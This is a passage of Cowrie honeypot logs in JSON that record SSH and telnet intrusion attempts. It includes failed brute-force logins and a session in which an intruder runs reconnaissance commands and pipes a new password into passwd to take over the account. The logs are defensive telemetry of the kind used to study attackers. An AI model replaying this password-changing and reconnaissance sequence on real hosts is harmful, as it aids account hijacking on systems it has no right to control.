lgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.666850Z","src_ip":"152.32.171.213","session":"ceb7baf6adfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:22.573356Z","src_ip":"152.32.171.213","session":"ceb7baf6adfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:23.794717Z","src_ip":"152.32.171.213","session":"ceb7baf6adfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44314,"dst_ip":"159.203.135.109","dst_port":23,"session":"facc7dd37199","protocol":"telnet","message":"New connection: 64.227.9.242:44314 (159.203.135.109:23) [session: facc7dd37199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:26.145506Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41758,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e77ee4eb59","protocol":"telnet","message":"New connection: 64.227.9.242:41758 (159.203.135.109:23) [session: a0e77ee4eb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:26.936281Z"}
{"eventid":"cowrie.session.closed","duration":35.40736436843872,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:27.571429Z","src_ip":"64.227.9.242","session":"d5dcaca33715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.50788450241089,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:27.918286Z","src_ip":"188.208.141.113","session":"9d9321b8a891","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.062843Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.067522Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.288347Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.758448Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"123123\\n10m0UoJoeG5m\\n10m0UoJoeG5m\"|passwd|bash","message":"CMD: echo -e \"123123\\n10m0UoJoeG5m\\n10m0UoJoeG5m\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.762175Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.766022Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.769774Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f23d598b04df6540ad032da3bfdc272ea102fdaef6b165ff527f5836c976b020","size":32,"shasum":"f23d598b04df6540ad032da3bfdc272ea102fdaef6b165ff527f5836c976b020","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f23d598b04df6540ad032da3bfdc272ea102fdaef6b165ff527f5836c976b020 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:30.988291Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:31.459780Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"123123\\n10m0UoJoeG5m\\n10m0UoJoeG5m\\n\"|passwd","message":"CMD: echo \"123123\\n10m0UoJoeG5m\\n10m0UoJoeG5m\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:31.463155Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.49942684173584,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:31.469173Z","src_ip":"64.227.9.242","session":"30cca50f6cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.979832887649536,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:31.614057Z","src_ip":"188.208.141.113","session":"5569dc9b140f","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/de8ace8c5515834bbfac8c3ee5d9a09157d97390c5e99a378f466f074bfd8b04","size":25,"shasum":"de8ace8c5515834bbfac8c3ee5d9a09157d97390c5e99a378f466f074bfd8b04","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/de8ace8c5515834bbfac8c3ee5d9a09157d97390c5e99a378f466f074bfd8b04 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:31.680183Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.189190Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.192942Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.411163Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52044,"dst_ip":"10.17.0.5","dst_port":23,"session":"4137c5abb202","protocol":"telnet","message":"New connection: 188.208.141.113:52044 (10.17.0.5:23) [session: 4137c5abb202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.728378Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.872544Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:32.875099Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.092222Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52054,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0ee21db493c","protocol":"telnet","message":"New connection: 188.208.141.113:52054 (10.17.0.5:23) [session: a0ee21db493c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.167800Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.561456Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.565095Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.568219Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:33.786910Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:34.284240Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:34.287905Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:34.504684Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:34.976933Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:34.980428Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:35.198054Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:35.671362Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:35.675011Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:35.893454Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.364494Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.368280Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.585109Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":48536,"dst_ip":"10.17.0.5","dst_port":22,"session":"f382599ac4a5","protocol":"ssh","message":"New connection: 112.217.199.222:48536 (10.17.0.5:22) [session: f382599ac4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.708568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.713415Z","src_ip":"112.217.199.222","session":"f382599ac4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:36.925038Z","src_ip":"112.217.199.222","session":"f382599ac4a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.056408Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.059953Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.276234Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.744683Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.748196Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdlkj123","message":"login attempt [user/asdlkj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.795248Z","src_ip":"112.217.199.222","session":"f382599ac4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52108693122864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.881696Z","src_ip":"64.227.9.242","session":"96af88400360","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:37.964929Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.27179265022278,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.069884Z","src_ip":"188.208.141.113","session":"4c121371997c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c07ab7dcb1e","protocol":"telnet","message":"New connection: 188.208.141.113:52064 (10.17.0.5:23) [session: 0c07ab7dcb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.253868Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.439712Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.443510Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58380,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4be0f8f0d2","protocol":"telnet","message":"New connection: 64.227.9.242:58380 (159.203.135.109:23) [session: 0c4be0f8f0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.450802Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:38.661454Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.009442Z","src_ip":"112.217.199.222","session":"f382599ac4a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.135790Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.139296Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.355328Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.831601Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
